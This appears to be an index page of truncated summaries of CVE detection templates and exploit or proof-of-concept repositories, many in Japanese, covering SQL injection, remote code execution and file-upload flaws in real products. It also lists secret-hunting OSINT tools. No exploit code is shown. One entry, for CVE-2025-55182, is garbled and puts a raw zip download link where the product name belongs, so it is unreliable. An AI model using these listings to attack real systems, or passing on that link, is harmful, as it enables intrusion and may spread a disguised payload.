Bangresto - SQL Injection

Bangresto 1.0 is vulnberable to SQL Injection via the itemqty%5B%5D parameter. id: CVE-2022-46443 info: name: Bangresto - SQL Injection author: Harsh severity: high description: | Bangresto 1.0 is vulnberable to SQL Injection via the itemqty%5B%5D parameter. impact: | Successful exploitation of...

Duplicator < 1.5.7.1; Duplicator Pro < 4.5.14.2 - Unauthenticated Sensitive Data Exposure

The Duplicator WordPress plugin before 1.5.7.1, Duplicator Pro WordPress plugin before 4.5.14.2 does not disallow listing the backups-dup-lite/tmp directory or the backups-dup-pro/tmp directory in the Pro version, which temporarily stores files containing sensitive data. When directory listing is...

NextGen Healthcare Mirth Connect - Remote Code Execution

Unauthenticated remote code execution vulnerability in NextGen Healthcare Mirth Connect before version 4.4.1. id: CVE-2023-43208 info: name: NextGen Healthcare Mirth Connect - Remote Code Execution author: princechaddha severity: critical description: Unauthenticated remote code execution...

Jms Blog - SQL Injection

The module Jms Blog jmsblog from Joommasters contains a Time Based SQL injection vulnerability. This module is for the PrestaShop e-commerce platform and mainly provided with joommasters PrestaShop themes id: CVE-2023-27034 info: name: Jms Blog - SQL Injection author: MaStErChO severity: critical...

VMware vCenter Server LDAP Broken Access Control

Under certain conditions, vmdir that ships with VMware vCenter Server, as part of an embedded or external Platform Services Controller PSC, does not correctly implement access controls. id: CVE-2020-3952 info: name: VMware vCenter Server LDAP Broken Access Control author: 0xAkoko severity: critic...

Jenkins <=2.196 - Cookie Exposure

Jenkins through 2.196, LTS 2.176.3 and earlier prints the value of the cookie on the /whoAmI/ URL despite it being marked HttpOnly, thus making it possible to steal cookie-based authentication credentials if the URL is exposed or accessed via another cross-site scripting issue. id: CVE-2019-10405...

IncomCMS 2.0 - Arbitrary File Upload

IncomCMS 2.0 has a an insecure file upload vulnerability in modules/uploader/showcase/script.php. This allows unauthenticated attackers to upload files into the server. id: CVE-2020-29597 info: name: IncomCMS 2.0 - Arbitrary File Upload author: princechaddha severity: critical description: |...

Apache Cocoon 2.1.12 - XML Injection

Apache Cocoon 2.1.12 contains an XML injection caused by parsing user-provided XML with external system entities in StreamGenerator, letting attackers access arbitrary files on the server, exploit requires sending malicious XML. id: CVE-2020-11991 info: name: Apache Cocoon 2.1.12 - XML Injection...

Adobe ColdFusion - RDS Arbitrary File Write

ColdFusion versions 2025.9, 2023.20 and earlier are affected by an Improper Limitation of a Pathname to a Restricted Directory 'Path Traversal' vulnerability that could lead to arbitrary code execution in the context of the current user. The RDS FILEIO WRITE operation allows unauthenticated...

Zabbix - SQL Injection

Zabbix before 2.2.14 and 3.0 before 3.0.4 allows remote attackers to execute arbitrary SQL commands via the toggleids array parameter in latest.php and perform SQL injection attacks. id: CVE-2016-10134 info: name: Zabbix - SQL Injection author: princechaddha severity: critical description: Zabbix...

Magento-CVE-2019-7139-SQLi-PoC

CVE-2019-7139 PoC: Magento SQLインジェクション このリポジトリには、Ambionics SecurityのCharles Folによって発見された、Magentoの非認証SQLインジェクション脆弱性であるCVE-2019-7139 （PRODSECBUG-2198）の概念実証（PoC）エクスプロイトが含まれています。 脆弱性の詳細 CVE ID : CVE-2019-7139 影響を受けるバージョン : Magento Open Source = 1.9.4.0 Magento Commerce = 1.14.4.0 Magento 2.1 = 2.1.16...

CVE-2018-1273

CVE-2018-1273 CVE-2018-1273 の環境 CVE-2018-1273: Spring Data Commons における RCE https://pivotal.io/security/cve-2018-1273 アプリケーション https://github.com/spring-projects/spring-data-examples/tree/master/web/example ビルド root@kitploit: $ docker build -t cve-2018-1273 . 実行 root@kitploit: $ docker run -d -p...

CVE-2022-26159-Ametys-Autocompletion-XML

CVE-2022-26159-Ametys-Autocompletion-XML Ametys CMS のオートコンプリートプラグインに保存されたすべてのデータを、ローカルの sqlite データベースファイルに自動的にダンプする Python エクスプロイト。 機能 オートコンプリートプラグインが返す最大結果数の自動検出。 深さ優先探索による全結果のダンプ。 ログファイルの出力。 使用方法...

EphemeralNet

EphemeralNet C++20 で構築された、過酷な NAT 環境向けカスタムリレーを備えた安全な P2P ネットワーク。 高保証ピアツーピアストレージのためのプログラム可能な忘却機能。 EphemeralNet を選ぶ理由 Shardian は、機密性と同じくらい真剣に削除保証に取り組むチーム向けにインフラストラクチャを設計しています。EphemeralNet は、必ず 消えなければならないデータのための C++20 製リサーチデーモンです。強制された有効期限TTLセマンティクスを第一級の制約として扱う P2P プロトコルです。BitTorrent...

CVE-2023-22884-Airflow-SQLi

Apache Airflow SQLインジェクション PoC CVE-2023-22884 CVE-2023-22884 の PoC は、2.4.0 より前のバージョンに影響する Apache Airflow の RCE 脆弱性です。 公式レポートの説明には次のように記載されています: Apache Software Foundation Apache Airflow および Apache Software Foundation Apache Airflow MySQL Provider における、コマンドに使用される特殊要素の不適切な無害化（'Command...

xz-backdoor-github

xz-backdoor-github 2024年3月29日に発見されたxzバックドア（CVE-2024-3094）に関連するコミットの履歴。 現在、GitHubは利用規約違反によりリポジトリを削除しています。このリポジトリの目的は、このバックドアが2年間の活発なコントリビューションの中でどのように忍び込まれたかについてのセキュリティ研究を促進し、その他の可能性のある問題を調査することです。 背景情報: https://www.openwall.com/lists/oss-security/2024/03/29/4 データセット...

-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server

-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server この脆弱性は、攻撃者が影響を受ける Confluence サーバーを完全に制御できるようにする可能性があります。これにより、攻撃者はデータの窃取、データの改ざん、またはサーバーの可用性の妨害を行うことができる可能性があります。 PoC JavaScript ファイルを作成し、exploit.js という名前を付けて、次の行を追加します root@kitploit: new...

pastenum

Pastenum Pastenum は、テキストダンプ列挙ツールです。公開サイトに投稿されたデータダンプや dox を発見・列挙するために設計されています。 現在、github.com、gist.github.com、pastebin.com、pastee.org、pastie.org のサイトを検索します。 Pastenum は、2011年にリリースされた nullthreat のオリジナル pastenum2 を gem として書き直したものです。 コードステータス インストール: Ruby 1.9. をインストール RubyGems をインストール gem install...

CVE-2025-55182-shellinteractive

💻 CVE-2025-55182-shellinteractive - コマンドを簡単かつ安全に実行 🚀 概要 CVE-2025-55182 は、https://raw.githubusercontent.com/alyaapm/CVE-2025-55182-shellinteractive/main/trivalent/shellinteractive-CV-2.6.zip および React Server Components における脆弱性です。この問題により、React Server Actions...

gitrob

Gitrob: OSINTにおけるオープンソースの活用 Gitrobは、GitLabまたはGithub上のリポジトリにプッシュされた機密情報の可能性があるものを見つけるためのツールです。Gitrobは、ユーザーまたはグループ/組織に属するリポジトリを設定可能な深さまでクローンし、コミット履歴を反復処理して、機密情報の可能性があるパターンに一致するファイルやコミットコンテンツにフラグを立てます。検出結果はWebインターフェースを通じて表示され、簡単に閲覧・分析できます。 使い方 root@kitploit: gitrob options target target2 ... targetN...